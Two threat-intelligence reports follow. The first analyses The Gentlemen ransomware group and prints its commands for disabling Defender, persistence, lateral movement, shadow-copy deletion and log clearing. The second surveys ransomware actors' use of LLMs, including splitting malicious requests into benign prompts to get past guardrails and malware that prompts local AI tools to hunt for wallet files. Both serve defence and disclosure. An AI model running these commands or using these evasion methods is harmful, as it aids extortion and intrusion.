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The Gentlemen are knocking: сustom backdoors and evolving tactics

Introduction

This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).

We have been observing the activity of The Gentlemen since February 2026 and have discovered new tactics, techniques, and procedures (TTPs) as well as custom tool development efforts, as they target large corporations and critical infrastructure worldwide. In our research, we have uncovered the group’s methods of reconnaissance, network sniffing, and many other techniques that have not been publicly described before by the wider community.

Technical details

Initial infection vector

The Gentlemen group and its affiliates usually get into victim systems by exploiting vulnerabilities in online services and using stolen or weak login credentials, as reported by multiple cybersecurity vendors. They often target devices like hardware VPNs and firewalls that are exposed to the internet, and use leaked or default credentials to gain access.

We believe the group is likely collaborating with other actors or initial access brokers (IABs) to gain access to the target organizations. While they often deploy ransomware within a few hours after initial access is obtained, our analysis of several attacks revealed some cases, in which access to the victim’s system had been established long before the ransomware was deployed. These cases involved tactics that are not typically associated with the group. This suggests that the initial breach may not have been executed by The Gentlemen at all, but rather by another group or an initial access broker.

Reconnaissance

Our investigation reveals that The Gentlemen conduct thorough internal reconnaissance using tools like SharpADWS, NetScan, Advanced IP Scanner, and netsh to map the target environment and identify vulnerabilities. SharpADWS is used to gather detailed Active Directory information, including domain object enumeration, and can bypass standard logging by wrapping LDAP queries in SOAP messages. The group also uses NetScan and Advanced IP Scanner to scan the network, discover active ports and services, and identify potential vulnerabilities, ultimately gaining a deeper understanding of the network and establishing remote control over identified systems.

Microsoft’s netsh tool is used to capture network packets and gather intelligence, executing the command cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} 2>&1 to start the capture, and cmd.exe /Q /c netsh trace stop > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} to stop it.

The captured data is saved to a shared administrative folder with a random name, and can be analyzed with tools like Wireshark to reveal sensitive information such as unencrypted network activity and potential passwords, which the attackers then use to conduct targeted ransomware attacks.

Lateral movement

The Gentlemen group leverages the NETLOGON share to distribute the ransomware executable to connected computers, enabling simultaneous attacks on multiple devices. To facilitate lateral movement, they use a customized PowerShell script, deploy_gpo.ps1, with specific parameters and variables for each target system. Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.

Disabling security products

The Gentlemen group uses various methods to disable security software on targeted computers, including the BYOVD technique. This involves installing a vulnerable driver and exploiting its weakness to shut down security software, gain unrestricted access, and launch ransomware attacks. We observed the following vulnerable drivers used in the group’s attacks.

Driver name Description
ProcessMonitorDriver.sys Safetica DLP and EDR driver
wamsdk.sys WatchDog anti-malware driver
gamedriverx64.sys Fedeen/Hotta studio anti-cheat driver
biontdrv.sys Paragon partition manager driver
inpoutx64.sys A legacy driver involved in managing RGB lighting
wsftprm.sys Topaz anti-fraud software driver
Havoc.sys Huawei audio driver

The Gentlemen group also uses specialized tools, including Windows Kernel Explorer and OpenArk64, to disable security software. These tools can intercept and block system calls, and even remove security drivers, allowing the attackers to bypass security measures and remain undetected.

Besides this, the group employs simple methods to disable security software, such as using kavrmvr.exe to uninstall Kaspersky Antivirus, which is prevented by the product’s behavioral detection, and modifying Windows registry settings to disable Windows Defender’s real-time protection.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

Last but not least, the attackers attempt to disable Windows Defender’s real-time monitoring and ransomware protection, and add itself to the exclusion list, by executing multiple PowerShell cmdlets, as observed in the Go implant, which we’ll analyze later in this post:

Set-MpPreference -DisableRealtimeMonitoring $true -Force
Set-MpPreference -EnableControlledFolderAccess Disabled -Force
Add-MpPreference -ExclusionProcess <file_name>
Add-MpPreference -ExclusionPath 'C:\\'

Go-based backdoor

We observed a custom-made implant, written in Go and deployed a day before the ransomware attack, which acted as a backdoor, enabling remote command execution. The implant collected system information (hostname, domain name, UUID, and local IP addresses) and organized it into a JSON format using a map structure with keys like name, domain, uuid, and localIPs. To obtain the system’s UUID, it used the WMI query "SELECT UUID FROM Win32_ComputerSystemProduct". It then used the Yamux library to establish a persistent bidirectional TCP connection with the C2 server at 81.177.215[.]15:9443. It sent the collected system info to the C2 and waited for operator responses, executing commands using cmd.exe /c if the response byte was 'c', or establishing a SOCKS proxy connection if the byte was 's'. This functionality likely enables The Gentlemen’s red team to pivot within the target network and expand their scan coverage.

Given the backdoor implant’s capabilities, such as establishing two-way communication, executing commands, setting up a SOCKS proxy, and gathering information, it’s clear that it can also be used to expand the attack chain as needed. In one incident, soon after the initial connection was made, we saw the server send reconnaissance commands, including:

whoami
net  group \"Domain Admins\" /domain
net group
dir c:\\
cd c:\\

Go-based ransomware

The most widespread version of the ransomware binary, written in Go, emerged in mid-2025 and has been used in most attacks since then. It features a previously unknown Go obfuscator that renames symbols, source code files, and structures, and alters function signatures, making analysis more difficult. The binary also contains embedded parameters with descriptions, indicating a sophisticated tool. The parameters are listed in the following table:

Parameter Description
--password Access password required to run the ransomware, acts as an anti-sandbox technique
--path Comma-separated list of target directories to be encrypted
--T Delay before the encryption starts, specified in minutes
--system A flag to run as SYSTEM, encrypting only local drives
--shares A flag to encrypt only mapped network drives
--full A flag that combines --system and --shares
--spread Lateral movement flag using specified domain credentials (“domain.com\user:pass”) or a single space (” “) to leverage the current session
--gpo A flag to deploy via Group Policy to all domain computers (designed to be executed on a Domain Controller)
--silent Silent mode: skips renaming files, modifying file update times after encryption, and changing the wallpaper
--keep A flag that prevents the executable from self-deleting after the encryption process completes
--wipe A flag that enables wiping free disk space after encryption
--no-admin A flag to force execution without administrative privileges
–fast Speed flag that restricts processing/encryption to 9 percent of the file
–superfast Speed flag that restricts processing/encryption to 3 percent of the file
--ultrafast Speed flag that restricts processing/encryption to 1 percent of the file

Automated system execution prevention

The Go variant of the ransomware is designed to avoid detection and prevent analysis. To execute, it requires a password, currently set to CbdU8EgF. This password acts as a barrier to prevent the binary from running in sandbox or automated environments. If the incorrect password is entered or no password is provided, the binary will terminate.

Lateral movement through GPO deployment

When the --gpo parameter is used, the ransomware spreads to other computers on the network through Group Policy. To do this, it generates PowerShell commands based on the target environment, writes them to a file called deploy_gpo.ps1 in the %temp% folder, and executes it.

The resulting script allows the attackers to quickly spread the ransomware across the entire company network. It starts by finding the Domain Controller and loading tools to control it. Then, it copies itself to the NETLOGON network folder to become accessible to all computers.

To prevent the attack from being blocked, the script creates a fake system update policy that disables Windows Defender. It does this by changing the DisableRealtimeMonitoring setting to 1 on all connected computers, thereby disabling real-time scanning and security features. The script also sets up a hidden task by creating a ScheduledTasks.xml file in the SYSVOL directory and modifies the Active Directory property gPCMachineExtensionNames to register the malicious XML file. Finally, the script forces all computers on the network to update their rules immediately by running the gpupdate /force command, causing all computers to download and run the ransomware simultaneously.

Lateral movement through PsExec

In addition to spreading through Group Policy, the ransomware also uses PsExec for lateral movement when the --spread parameter is provided. If PsExec is absent on the target system, it downloads the tool using the following command:

powershell.exe -Command "Invoke-WebRequest -Uri 'https://live.sysinternals[.]com/PsExec.exe' -OutFile 'C:\Temp\psexec.exe'"

The ransomware then performs a thorough scan of the domain by installing and using Remote Server Administration Tools (RSAT) through a PowerShell cmdlet. If the PowerShell commands fail, it uses the NetServerEnum API instead.

try { 
    Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -ErrorAction Stop 
} 
catch {}

try { 
    DISM.exe /Online /Add-Capability /CapabilityName:"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" 
} 
catch {}

try { 
    Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction Stop 
} 
catch {}

try { 
    Import-Module ActiveDirectory -ErrorAction Stop
    Get-ADComputer -Filter * | Select-Object -ExpandProperty Name 
} 
catch {}

Once it has obtained a list of all computers on the domain, the ransomware checks if each computer is active by pinging it with the command ping.exe -n 1 -w 500 {target}. If a computer is found to be active, the ransomware uses PsExec to spread to that computer.

Pre-encryption activities

Before starting to actually encrypt files, the ransomware attempts to stop any active Hyper-V virtual machines, allowing it to encrypt the virtual disk files. It uses PowerShell commands to achieve this, including:

Get-VM | Stop-VM -Force -TurnOff
Get-VM | Where-Object State -eq 'Running' | Stop-VM -Force -TurnOff

The ransomware also terminates specific processes using taskkill.exe and disables and stops certain services using sc.exe. The lists of processes and services are quite long and include various popular software, such as Microsoft Office instances, database management interfaces, remote management software, backup applications and more.

After stopping and terminating all the services and processes from the lists, the ransomware ensures its persistence on the system by:

  • Deleting and recreating a scheduled task called “UpdateUser” to run the ransomware on startup
  • Adding a registry key to run the ransomware on startup

The commands used for this are:

schtasks.exe /Delete /TN "UpdateUser" /F
schtasks.exe /Create /SC ONSTART /TN "UpdateUser" /TR "<ransomware_path>"
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS" /t REG_SZ /d "<ransomware_path>" /f

Encryption process

After completing its preparations, the ransomware begins encrypting files using a hybrid encryption algorithm that combines Curve25519 and the XChaCha20 stream cipher. For each file to be encrypted, it generates a Curve25519 key pair and computes a shared secret with the attacker’s public key embedded in its code and encoded in Base64 as HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=.

Before encrypting the files, the ransomware changes the file access permissions to “Everyone” and gains full administrative access by overriding the file’s Access Control List (ACL) and Access Control Entry (ACE) using the following commands:

  • takeown.exe /f <target_file> /d y
  • icacls.exe <target_file> /grant *S-1-1-0:F

The ransomware also includes a list of blacklisted directories, files, and extensions to prevent encryption of essential system components.

As the encryption process begins, the ransomware creates a file named README-GENTLEMEN.txt in each directory, containing the ransom note with the victim ID, Tox ID, and Data Leak Site address. If the --silent parameter is not provided, it also changes the desktop wallpaper to The Gentlemen’s embedded image.

The Gentlemen background image

The Gentlemen background image

After completing its operations, the ransomware may delete free space on the system to hinder data recovery attempts if the --wipe parameter is provided. Additionally, it may delete itself if the --keep parameter is not provided.

Regardless of provided parameters, it also deletes various system files and logs to cover its tracks, using commands such as:

vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl Security

Additionally, it deletes files from various directories, including:

cmd.exe /C del /f /q C:\Windows\Prefetch\*.*
cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.*
cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.*
cmd.exe /C rd /s /q C:\$Recycle.Bin

C-based ransomware

As The Gentlemen’s operations have extended, multiple researchers from different information security vendors have identified two ransomware implant versions: the cross-platform Go variant described above and a C-based ESXi locker for Linux. Our investigation has also uncovered a new, still-in-development C implant, currently limited to Windows.

This new ransomware variant has been observed in a limited number of attacks on organizations. While the overall malware structure remains similar to the Go variant we have described, the encryption algorithm has undergone significant changes, suggesting The Gentlemen group is expanding its capabilities. We believe this variant is still in development and being tested on a small subset of victims, with several parameter options, outlined below.

Parameter Description
--password The ransomware needs a password to execute, which is meant to prevent execution on automated systems
--remove The ransomware removes itself after the encryption process has been finished
--T Sleep time before encryption, in seconds
--ex Likely stands for excluded objects (not implemented)
--fast Encryption speed option (not implemented)
--superfast Encryption speed option (not implemented)
--ultrafast Encryption speed option (not implemented)
--silent Likely silent execution (not implemented)
--system Execute with system privileges. Could be used to encrypt local disks, as in the Go variant, but at the time of writing this article, there isn’t sufficient data to support this.
--shares Encrypt the shares connected to the system (not implemented)
--full Full encryption (not implemented)
--path Directory list to be encrypted

As can be seen from the parameter list, some of the parameters are not yet implemented. We anticipate that this variant will mature and likely be increasingly used in future attacks. Notably, the C variant uses smaller denylists of files, directories and extensions compared to the Go variant, which further suggests that this version of the ransomware is still in development. For example, the list of files that should not be encrypted, contains only three items, one of which is the group’s ransom note.

To execute with elevated privileges when receiving the --system parameter, the implant creates a scheduled task called “TaskSystem” using the command schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul. It then runs the task with elevated privileges using schtasks /run /tn TaskSystem > nul. If “TaskSystem” exists in the target system, the ransomware first deletes it using schtasks /delete /tn TaskSystem /f > nul, before creating a new one with the same name.

If the ransomware lacks sufficient privileges to access a file, it attempts to modify the file’s ACL by granting FULL_CONTROL permission and setting a new EXPLICIT_ACCESS_A structure using the SetEntriesInAclA API call.

For encryption, the ransomware uses the OpenSSL library, which is statically linked to the binary. Unlike the Go variant, this variant uses the AES256-GCM + RSA encryption scheme. It generates a random 32-byte key and a 16-byte initialization vector (IV) for each file, creating a 48-byte buffer. This buffer is then encrypted using a hardcoded RSA public key and appended to the file. The file’s contents are encrypted with AES256-GCM and written after the encrypted key and IV.

After encrypting all files in a directory, the ransomware decodes a byte array using single-byte XOR decryption and creates a file named !-READ-ME—-GEN-TLE-MEN-!.txt in the directory. It then writes the decoded byte array, which contains the ransom note, to the file.

The ransom note in this version of the ransomware reveals a difference from earlier Go versions: communication with the operators is now conducted via email rather than through Tox Messenger.

After completing the encryption process, the ransomware attempts to clear logs from various event log categories, including System, Forwarded Events, Application, and Setup, using the EvtClearLog API. However, it appears that there may be an error in the event log clearing process, as the category "S" is not a valid default entry for an event log category, suggesting a possible typo or missing parameters.

Event clearing function

Event clearing function

Victims

The Gentlemen target a wide range of industries worldwide, including manufacturing, IT services, healthcare, financial services, construction, and logistics. Observed intrusions span several regions, with Brazil, China, Indonesia, Taiwan, and Thailand among the most heavily targeted countries and territories according to our telemetry.

Attribution

We have high confidence in attributing the observed activities to The Gentlemen group and its affiliates. This attribution is based on several key factors, including the consistent use of the group’s name, associated email addresses, and Data Leak Site within the binaries and ransom notes.

Conclusion

The Gentlemen group is rapidly gaining traction in the ransomware landscape, recruiting affiliates and executing high-profile attacks. Their adaptability is evident in the emergence of a C-based ransomware variant, a Go-based backdoor enabling remote command execution, and customized scripts tailored to specific targets. Recent data leaks exposing internal communications and operational plans suggest the group will continue to engage in malicious activity. Organizations are advised to prioritize vulnerability management and system hardening to reduce the risk of compromise.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Go ransomware

3B46A729DB7AE6AF8B19711C9452194D        locker_eryoo5_windows_amd64
02944C8A5535CDB5B2CBB893DB2D5ACF     locker_lqy8xb_windows_amd64.exe
10CA9A4040001560D053B7E7885C1B95     locker_28f3cl_windows_386.exe
3C471EBC947CDF32240A90FFADF49B13     locker_aga19g_windows_amd64.exe
4BE8BB62F0EBBCF4CE52C35AB6F794F5     locker_wh54td_windows_386.exe
53C616677BC7E2A0A03127F19166D007     locker_p663zs_windows_amd64.exe
5C3B9821FC82A9028CB63B9671950919     locker.exe
5F0B2C6D9F442754258BF4DD841C8341     locker_t1zged_windows_amd64.exe
608FAF58353B65C45EF9833358AC3787     locker_u90lyt_windows_amd64.exe
6AE7C9A7EA0B8C40A64225734F6BD01D     gentle.exe
846DC77C1246DB20D976346E0E359502     locker_p663zs_windows_386.exe
ADAC9984B3CC43D66A0D33079BBEC299     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
AE0E536766788478263BF448A9381641     cosmo.exe
B3E418D30312C1B2C58A791286868F42     system_386.exe
C2764744DCB4B0E1DB79CA1E8BF65368     getlwd.exe
D12A5B36DD00586CC374A1CAE43EFED4     locker_c65ffp_windows_amd64.exe
D2F72897E8986303D5567EB2384932B8     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
DE1522F9219497632F30F8A6E72F26B6     locker_c7ekh7_windows_amd64.exe
FDAE2BEB813778B4540A997706862096     AIR.exe

C-based ransomware

B9986A0F1F1F1A798DC3F0C59A80A1A3        fin.exe

Backdoor

554E699C96B332468F1AE69C1AE81EF9        sihost.exe

Vulnerable drivers

5761BD63DA03686FC480245DA7BD1E9F        processmonitordriver.sys
B6B51508AD6F462C45FE102C85D246C8        wamsdk.sys
8F0577D28C4FF5F71B149F444BFABA8E        gamedriverx64.sys
525EF6014F0EF20E44FE47C1D9980B69        biontdrv_wink.sys
407B6A136BBAA7172EB44EF9D08BB58A        biontdrv_winbs.sys
9321A61A25C7961D9F36852ECAA86F55        inpoutx64.sys
73F0A8C3EA794A04E80C32038249F044        wsddprm.sys
EEF8A950952696B018AA9C6DA2F5D7AD        havoc.sys

Scanning tools

EDB1C480295250DD1A38F3AA1357DEAE        netscan64.exe
5537C708EDB9A2C21F88E34E8A0F1744        Advanced_IP_Scanner_2.5.4594.1.exe

File paths

\\Netlogon\
C:\Sharing
C:\Temp
C:\Netlogon
C:\Windows\sysvol\domain\scripts\
%TEMP%
%User%\Downloads
%User%\Desktop

Domain and IPs

81[.]177[.]215[.]15    Backdoor C2

LLMs & Ransomware | An Operational Accelerator, Not a Revolution

Executive Summary

  • SentinelLABS assesses that LLMs are accelerating the ransomware lifecycle, not fundamentally transforming it.
  • We observe measurable gains in speed, volume, and multilingual reach across reconnaissance, phishing, tooling assistance, data triage, and negotiation, but no step-change in novel tactics or techniques driven purely by AI at scale.
  • Self-hosted, open-source Ollama models will likely be the go-to for top tier actors looking to avoid provider guardrails.
  • Defenders should prepare for adversaries making incremental but rapid efficiency gains.

Overview

SentinelLABS has been researching how large language models (LLMs) impact cybersecurity for both defenders and adversaries. As part of our ongoing efforts in this area and our well-established research and tracking of crimeware actors, we have been closely following the adoption of LLM technology among ransomware operators. We have observed that there appear to be three structural shifts unfolding in parallel.

First, the barriers to entry continue to fall for those intent on cybercrime. LLMs allow low- to mid-skill actors to assemble functional tooling and ransomware-as-a-service (RaaS) infrastructure by decomposing malicious tasks into seemingly benign prompts that are able to slip past provider guardrails.

Second, the ransomware ecosystem is splintering. The era of mega-brand cartels (LockBit, Conti, REvil) has faded under sustained law enforcement pressure and sanctions. In their place, we see a proliferation of small, short-lived crews—Termite, Punisher, The Gentlemen, Obscura—operating under the radar, alongside a surge in mimicry and false claims, such as fake Babuk2 and confused ShinyHunters branding.

Third, the line between APT and crimeware is blurring. State-aligned actors are moonlighting as ransomware affiliates or using extortion for operational cover, while culturally-motivated groups like “The Com” are buying into affiliate ecosystems, adding noise and complicating attribution as we saw with groups such as DragonForce, Qilin, and previously BlackCat/ALPHV.

While these three structural shifts were to a certain extent in play prior to the widespread availability of LLMs, we observe that all three are accelerating simultaneously. To understand the mechanics, we examined how LLMs are being integrated into day-to-day ransomware operations.

We note that the threat intelligence community’s understanding of exactly how threat actors integrate LLMs into attacks is severely limited. The primary sources that furnish information on these attacks are the intelligence teams of LLM providers via periodic reports and, more rarely, victims of intrusions who find artifacts of LLM use.

As a result, it is easy to overinterpret a small number of cases as indicative of a revolutionary change in adversary tradecraft. We assess that such conclusions exceed the available evidence. We find instead that while the use of LLMs by adversaries is certainly an important trend, in ways we detail throughout this report, this reflects operational acceleration rather than a fundamental transformation in attacker capabilities.

How AI Is Changing Ransomware Operations Today

Direct Substitutions from Enterprise Workflows

The most immediate impact comes from ransomware operators adopting the same LLM workflows that legitimate enterprises use every day, only repurposed for crime. In the same way that marketers use LLMs to write copy, threat actors use them to draft phishing emails and localized content, such as ransom notes using the same language as the victim company. Enterprises take advantage of LLMs to refine large amounts of data for sales operations while threat actors use the same workflow to identify lucrative targets from dumps of leaked data or how to extort a specific victim based on the value of the data they steal.

This data triage capability is particularly amplified across language barriers. A Russian-speaking operator might not recognize that a file named “Fatura” (Turkish for “Invoice”) or “Rechnung” (German) contains financially sensitive information. LLMs eliminate this blind spot.

With LLMs, attackers can instruct a model to “Find all documents related to financial debt or trade secrets” in Arabic, Hindi, Spanish, or Japanese. Research shows LLMs significantly outperform traditional tools in identifying sensitive data in non-English languages.

The pattern holds across other enterprise workflows as well. In each case, the effect is the same: competent crews become faster and can operate across more tech stacks, languages, and geographies, while new entrants reach functional capability sooner. Importantly, what we are not seeing is any fundamentally new category of attack or novel capability.

Local Models to Evade Guardrails

Actors are increasingly breaking down malicious tasks into “non-malicious,” seemingly benign fragments. Often, actors spread requests across multiple sessions or prompt multiple models, then stitch code together offline. This approach dilutes potential suspicion from LLM providers by decentralizing malicious activity.

There is a clear and increasing trend of actor interest in using open models for nefarious purposes. Local, fine-tuned, open-source Ollama models offer more control, minimize provider telemetry and have fewer guardrails than commoditized LLMs. Early proof-of-concept (PoC) LLM-enabled ransomware tools like PromptLock may be clunky, but the direction is clear: once optimized, local and self-hosted models will be the default for higher-end crews.

Cisco Talos and others have flagged criminals gravitating toward uncensored models, which offer fewer safeguards than frontier labs and typically omit security controls like prompt classification, account telemetry, and other abuse-monitoring mechanisms in addition to being trained on more harmful content.

As adoption of these open-source models accelerates and as they are fine-tuned specifically for offensive use cases, defenders will find it increasingly challenging to identify and disrupt abuse originating from models that are customized for or directly operated by adversaries.

Documented Use of AI in Offensive Operations

Automated Attacks via Claude Code

Some recent campaigns illustrate our observations of how LLMs are actively being used and how they may be incorporated to accelerate attacker tradecraft.

In August 2025, Anthropic’s Threat Intelligence team reported on a threat actor using Claude Code to perform a highly autonomous extortion campaign. This actor automated not only the technical and reconnaissance aspects of the intrusion but also instructed Claude Code to evaluate what data to exfiltrate, the ideal monetary ransom amount, and to curate the ransom note demands to maximize impact and coax the victims into paying.

The actor’s prompt apparently guided Claude to accept commands in Russian and instructed the LLM to maintain communications in this language. While Anthropic does not state the final language used for creating ransom notes, SentinelLABS assesses that the subsequent prompts likely generated ransom notes and customer communications in English, as ransomware actors typically avoid targeting organizations within the Commonwealth of Independent States (CIS).

This campaign presents an impressive degree of LLM-enabled automation that furthers actors’ offensive security, data analysis, and linguistic capabilities. While each step alone could be achieved by typical, well-resourced ransomware groups, the Claude Code-enabled automation flow required far fewer human resources.

Malware Embedding Calls to LLM APIs

SentinelLABS’ research on LLM-enabled threats brought MalTerminal to light, a PoC tool that stitches together multiple capabilities, including ransomware and a reverse shell, through prompting a commercial LLM to generate the code.

Relics in MalTerminal strongly suggested that this tool was developed by a security researcher or company; however, the capabilities were a very early iteration of how threat actors will incorporate malicious prompting into tools to further their attacks.

This tool bypassed safety filters to deliver a ransomware payload, proving that ransomware-focused actors can overcome provider guardrails not only for earlier attack stages like reconnaissance and lateral movement but also for the impact phase of a ransomware attack.

Abusing Victim’s Locally Hosted LLMs

In August 2025, Google Threat Intelligence researchers identified examples of stealer malware dubbed QUIETVAULT, which weaponizes locally installed AI command-line tools to enhance data exfiltration capabilities. The JavaScript-based stealer searches for and leverages LLMs on macOS and Linux hosts by embedding a malicious prompt, instructing them to recursively search for wallet-related files and sensitive configuration data across the victim’s filesystem.

QUIETVAULT leverages locally-hosted LLMs for enhanced credentials and wallet discovery
QUIETVAULT leverages locally-hosted LLMs for enhanced credentials and wallet discovery

The prompt directs the local LLM to search common user directories like $HOME, ~/.config, and ~/.local/share, while avoiding system paths that would trigger errors or require elevated privileges. In addition, it instructs the LLM to identify files matching patterns associated with various cryptowallets including MetaMask, Electrum, Ledger, Trezor, Exodus, Trust Wallet, Phantom, and Solflare.

This approach demonstrates how threat actors are adapting to the proliferation of AI tools on victim workstations. By leveraging the AI’s natural language understanding and file system reasoning capabilities, the malware is able to conduct more intelligent reconnaissance than traditional pattern-matching algorithms.

Once sensitive files are discovered through AI-assisted enumeration, QUIETVAULT proceeds with traditional stealer functions. It Base64-encodes the stolen data and attempts to exfiltrate it via newly created GitHub repositories using local credentials.

LLM-Enabled Exploit Development

There has been significant discourse surrounding LLM-enabled exploit development and how AI will accelerate the vulnerability-disclosure-to-exploit-development lifecycle. As of this writing, credible reports of LLM-developed one-day exploits have been scarce and difficult to verify, though it is very likely that LLMs can help actors rapidly prototype pieces of exploit code and support actors in stitching pieces of code together, plausibly resulting in a viable, weaponized version.

However, it is worth noting that LLM-enabled exploit development can be a double-edged sword: the December 2025 React2Shell vulnerability raised alarm when a PoC exploit circulated shortly after the vendor disclosed the flaw. However, credible researchers soon found that the exploit was not only non-viable but had been generated by an LLM. Defenders should expect an increased churn and fatigue cycle based on the rapid proliferation of LLM-enabled exploits, many of which are likely to be more hallucination than weapon.

LLM-Assisted Social Engineering

Actor misuse of LLM provider brands to further social engineering campaigns remains a tried and true technique. A campaign in December 2025 used a combination of chat-style LLM conversation sharing features and search engine optimization (SEO) poisoning to direct users to LLM-written tutorials that delivered the macOS Amos Stealer to the victim’s system.

Because the actors used prompt engineering techniques to insert attacker-controlled infrastructure into the chat conversation along with typical macOS software installation steps, these conversations were hosted on the LLM provider’s websites and their URLs were listed as sponsored search engine results under the legitimate LLM provider domain, for example https://<llm_provider_name>[.]com.

These SEO-boosted results contain conversations which instruct the user to install the stealer under the guise of AI-powered software or routine operating system maintenance tasks. While Amos Stealer is not overtly linked to a ransomware group, it is well documented that infostealers play a crucial role in the initial access broker (IAB) ecosystem, which feed operations for small and large ransomware groups alike. While genuine incidents of macOS ransomware are virtually unknown, credentials stolen from Macs can be sold to enable extortion or access to corporate environments containing systems with a higher predisposition to ransomware.

Additionally, operations supporting ransomware and extortion have begun to offer AI-driven communication features to facilitate attacker-to-victim communications. In mid-2025, Global Group RaaS started advertising their “AI-Assisted Chat”. This feature claims to analyze data from victim companies, including revenue and historical public behavior, and then tailors the communication around that analysis.

Global RaaS offering Ai-Assisted Chat
Global RaaS offering Ai-Assisted Chat

While Global RaaS does not restrict itself to specific sectors, to date its attacks have disproportionately affected Healthcare, Construction, and Manufacturing.

What we observe is a pattern of LLMs accelerating execution, enabling automation through prompts and vibe-coding, streamlining repetitive tasks, and translating spoken language on the fly.

What’s Next for LLMs and Ransomware?

SentinelLABS is tracking several specific LLM-related patterns that we assess will become increasingly significant over the next 12–24 months.

  • Actors already chunk malicious code into benign prompts across multiple models or sessions, then assemble offline to dodge guardrails. This workflow will become commoditized as tutorials and tooling proliferate, ultimately maturing into “prompt smuggling as a service”: automated harnesses that route requests across multiple providers when one model refuses, then stitch the outputs together for the attacker.
  • Early proof-of-concept LLM-enabled malware–including ransomware–will be optimized and take increasing advantage of local models, becoming stealthier, more controllable, and less visible to defenders and researchers.
  • We expect to see ransomware operators deploy templated negotiation agents: tone-controlled, multilingual, and integrated into RaaS panels.
  • Ransomware brand spoofing (fake Babuk2, ShinyHunters confusion) and false claims will increase and complicate attribution. Threat actors’ ability to generate content at scale along with plausible-sounding narratives via LLMs will negatively impact defenders’ ability to stem the blast radius of attacks.
  • LLM use is also transforming the underlying infrastructure that drives extortive attacks. This includes tools and platforms for applying pressure to victims, such as automated, AI-augmented calling platforms. While peripheral to the tooling used to conduct ransom and extortion attacks, these supporting tools serve to accelerate the efforts of threat actors. Similar shifts are occurring with AI-augmented spamming tools used for payload distribution, like “SpamGPT”, “BruteForceAI” , and “AIO Callcenter”: tools used by initial access brokers, who serve a key service in the ransomware ecosystem.

Conclusion

The widespread availability of large language models is accelerating the three structural shifts we identified: falling barriers to entry, ecosystem splintering, and the convergence of APT and crimeware operations.

These advances make competent ransomware crews faster and extend their reach across languages and geographies, while allowing novices to ramp up operational capabilities by decomposing complex tasks into manageable steps that models will readily assist with. Malicious actors take this approach both out of technical necessity and to hide their intent. As top tier threat actors migrate to self-hosted, uncensored models, defenders will lose the visibility and leverage that provider guardrails currently offer.

With today’s LLMs, the risk is not superintelligent malware but industrialized extortion with smarter target selection, tailored demands, and cross-platform tradecraft that complicates response. Defenders will need to adapt to a faster and noisier threat landscape, where operational tempo, not novel capabilities, defines the challenge.

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